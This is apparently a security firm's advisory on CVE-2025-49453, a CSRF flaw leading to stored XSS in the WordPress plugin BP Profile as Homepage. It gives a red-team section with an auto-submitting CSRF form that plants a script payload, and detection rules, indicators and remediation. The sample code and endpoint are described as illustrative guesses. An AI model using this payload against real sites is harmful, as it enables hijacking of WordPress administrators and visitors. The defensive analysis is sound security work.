CVE-2025-49453

Executive Summary

CVE-2025-49453 is a Cross-Site Request Forgery (CSRF) vulnerability in the WordPress plugin BP Profile as Homepage by Jatinder Pal Singh, affecting versions up to and including 1.1. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or injecting malicious scripts. The CSRF vulnerability is compounded by a Stored Cross-Site Scripting (XSS) impact, meaning an attacker can leverage the CSRF to inject persistent JavaScript payloads that execute in the context of other users' browsers. The vulnerability has a CVSS score of 7.1 (High) and currently has no known patch or public exploit code. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant due to the potential for stored XSS.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. As a supply chain risk, any site using the BP Profile as Homepage plugin version 1.1 or earlier is vulnerable. Since no patch is available, site administrators must consider removing or disabling the plugin until a fix is released. The plugin's source code is not publicly audited, and the vendor has not provided a security update.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N) – The attack is performed remotely over the network.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – The attacker does not need authentication.
• User Interaction: Required (UI:R) – The victim must click a link or visit a malicious page.
• Scope: Changed (S:C) – The vulnerability can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited information disclosure possible.
• Integrity Impact: Low (I:L) – Limited modification of data possible.
• Availability Impact: Low (A:L) – Limited disruption of service possible.

Threat Level: High. The combination of CSRF and Stored XSS allows an attacker to perform persistent attacks with minimal user interaction, potentially compromising the entire WordPress site.

Deep Dive & Mechanics

The vulnerability resides in the BP Profile as Homepage WordPress plugin, which redirects users to their BuddyPress profile page upon login. The CSRF flaw exists because the plugin does not implement proper nonce validation or CSRF tokens in its administrative actions. An attacker can craft a malicious HTML page that, when visited by an authenticated administrator, triggers a state-changing request (e.g., updating plugin settings) without the administrator's consent.

The Stored XSS component arises because the plugin fails to sanitize user-supplied input before storing it in the database. By exploiting the CSRF, an attacker can inject malicious JavaScript code into plugin settings or profile fields. This stored payload then executes in the browsers of other users (including administrators) when they view the affected page, leading to session hijacking, defacement, or further compromise.

Attack Flow:

1. Attacker identifies a WordPress site running BP Profile as Homepage <= 1.1.
2. Attacker crafts a malicious HTML page containing a CSRF payload that modifies plugin settings or injects XSS.
3. Attacker lures an authenticated administrator to visit the malicious page (e.g., via phishing email).
4. The administrator's browser sends the forged request, which the plugin processes without CSRF protection.
5. The injected XSS payload is stored and executed when other users access the affected page.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The plugin likely lacks nonce verification in its admin functions.

Vulnerable Code (Example):

// In admin.php or similar
function bp_profile_as_homepage_save_settings() {
    // No nonce check
    update_option('bp_profile_as_homepage_option', $_POST['option_value']);
}

Patched Code (Expected):

function bp_profile_as_homepage_save_settings() {
    // Add nonce verification
    if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'bp_profile_as_homepage_nonce' ) ) {
        wp_die( 'Security check failed.' );
    }
    update_option('bp_profile_as_homepage_option', sanitize_text_field( $_POST['option_value'] ));
}

The patch would require adding wp_verify_nonce() checks and proper input sanitization (e.g., sanitize_text_field(), wp_kses_post()) to prevent XSS.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install WordPress with BuddyPress and BP Profile as Homepage plugin version 1.1.
2. Create an administrator account.
3. Set up a local web server (e.g., Apache/Nginx) to host the malicious CSRF page.

Exploitation Steps:

1. Craft a malicious HTML page that submits a form to the vulnerable endpoint:

<html>
<body>
<form action="http://target/wp-admin/admin-post.php?action=bp_profile_as_homepage_save" method="POST">
  <input type="hidden" name="option_name" value="bp_profile_as_homepage_xss">
  <input type="hidden" name="option_value" value="<script>alert('XSS')</script>">
  <input type="submit" value="Submit">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

2. Host this page on an attacker-controlled server.
3. Send a phishing email to the administrator with a link to the malicious page.
4. Once the administrator visits the page, the CSRF request is sent, and the XSS payload is stored.
5. The stored XSS executes when other users view the affected page.

Blue Team

Detection Steps:

1. Monitor for unusual POST requests to /wp-admin/admin-post.php with action parameters related to BP Profile as Homepage.
2. Check for unexpected changes in plugin settings or user profile fields.
3. Review server logs for referrer headers from unknown domains.
4. Use web application firewalls (WAF) to block requests lacking CSRF tokens.

Hunting Queries:

• Search for bp_profile_as_homepage in WordPress options table for suspicious values.
• Look for <script> tags in user meta or plugin settings.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /wp-admin/admin-post.php?action=bp_profile_as_homepage_save from external referrers.
  • Unusual User-Agent strings or repeated requests from the same IP.

• Host IOCs:

  • Modified wp_options table entries containing bp_profile_as_homepage with JavaScript payloads.
  • Unexpected JavaScript in user profile fields or plugin settings.
  • Presence of admin-post.php requests in access logs without corresponding nonce.

• File IOCs:

  • Modified plugin files (e.g., bp-profile-as-homepage.php) containing injected code.
  • New files in wp-content/uploads/ with suspicious content.

Detection Engineering

YARA Rule

rule CVE_2025_49453_CSRF_XSS {
    meta:
        description = "Detects CSRF and Stored XSS indicators for CVE-2025-49453"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-49453"
    strings:
        $csrf_endpoint = "admin-post.php?action=bp_profile_as_homepage_save"
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $plugin_option = "bp_profile_as_homepage"
    condition:
        any of ($csrf_endpoint, $xss_payload) and $plugin_option
}

Sigma Rule

title: CVE-2025-49453 CSRF and Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential exploitation of CSRF leading to Stored XSS in BP Profile as Homepage plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-post.php'
        cs-uri-query|contains: 'action=bp_profile_as_homepage_save'
    condition: selection
falsepositives:
    - Legitimate plugin updates
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-49453 - BP Profile as Homepage CSRF Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-post.php"; http_uri;
    content:"action=bp_profile_as_homepage_save"; http_uri;
    sid:1000001;
    rev:1;
    reference:cve,2025-49453;
    classtype:web-application-attack;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete BP Profile as Homepage until a patched version is released.
2. Implement Web Application Firewall (WAF) rules – Block requests to admin-post.php with suspicious parameters.
3. Educate administrators – Train users to avoid clicking suspicious links and to verify plugin updates.

Long-term Fixes:

• Vendor must release a patch adding CSRF nonce verification and input sanitization.
• Replace the plugin with an alternative that is actively maintained and secure.
• Regular security audits – Scan WordPress sites for vulnerable plugins and outdated versions.

Workarounds:

• Use a security plugin (e.g., Wordfence) to add CSRF protection and XSS filtering.
• Manually add nonce checks to the plugin's code (if you have development resources).

Valters IT – Securing Digital Frontiers